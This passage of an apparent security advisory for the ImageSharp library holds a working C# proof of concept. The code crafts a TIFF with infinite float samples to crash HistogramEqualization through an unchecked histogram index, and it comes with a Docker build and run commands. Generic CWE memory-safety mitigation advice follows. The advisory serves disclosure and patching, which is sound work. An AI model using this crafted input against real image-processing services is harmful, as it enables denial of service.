   ifd.AddRange(BitConverter.GetBytes(count));\n        ifd.AddRange(BitConverter.GetBytes(value));\n    }\n\n    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n    private static byte[] BuildTiff(float sample)\n    {\n        const int width = 8;\n        const int entries = 10;\n        const int ifdOffset = 8;\n        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n        List\u003cbyte\u003e file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n        List\u003cbyte\u003e ifd = [];\n        ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n        const ushort Short = 3, Long = 4;\n        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth\n        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength\n        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample\n        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none\n        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero\n        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets\n        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel\n        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip\n        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts\n        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float\n        ifd.AddRange([0, 0, 0, 0]);\n        file.AddRange(ifd);\n        for (int i = 0; i \u003c width; i++)\n        {\n            file.AddRange(BitConverter.GetBytes(sample));\n        }\n\n        return file.ToArray();\n    }\n\n    private static void Main(string[] args)\n    {\n        string mode = args.FirstOrDefault() ?? \"exploit\";\n        float sample = mode == \"control\" ? 0.5F : float.PositiveInfinity;\n        byte[] tiff = BuildTiff(sample);\n        Console.Error.WriteLine($\"mode={mode} tiffBytes={tiff.Length} sample={sample}\");\n\n        using Image\u003cHalfVector4\u003e image = Image.Load\u003cHalfVector4\u003e(tiff);\n        Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n        image.Mutate(x =\u003e x.HistogramEqualization());\n        Console.Error.WriteLine(\"completed\");\n    }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n  \u003cPropertyGroup\u003e\n    \u003cOutputType\u003eExe\u003c/OutputType\u003e\n    \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n    \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n    \u003cNullable\u003eenable\u003c/Nullable\u003e\n  \u003c/PropertyGroup\u003e\n  \u003c!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --\u003e\n  \u003cItemGroup\u003e\n    \u003cReference Include=\"SixLabors.ImageSharp\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n    \u003cReference Include=\"System.IO.Hashing\"\u003e\n      \u003cHintPath\u003e/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll\u003c/HintPath\u003e\n    \u003c/Reference\u003e\n  \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf \u0027%s\\n\u0027 \u0027\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\u003cPropertyGroup\u003e\u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\u003c/PropertyGroup\u003e\u003cItemGroup\u003e\u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\u003c/ItemGroup\u003e\u003c/Project\u003e\u0027 \u003e fetch.csproj \\\n    \u0026\u0026 dotnet restore fetch.csproj --nologo \\\n    \u0026\u0026 rm fetch.csproj \\\n    \u0026\u0026 dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```",
  "id": "GHSA-j3p4-wp97-rph4",
  "modified": "2026-10-26T14:18:59Z",
  "published": "2026-10-07T20:24:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j3p4-wp97-rph4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/pull/3208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/c4c4bf292298c026df470db1a17ff826515fd95d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index"
}

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

No CAPEC attack patterns related to this CWE.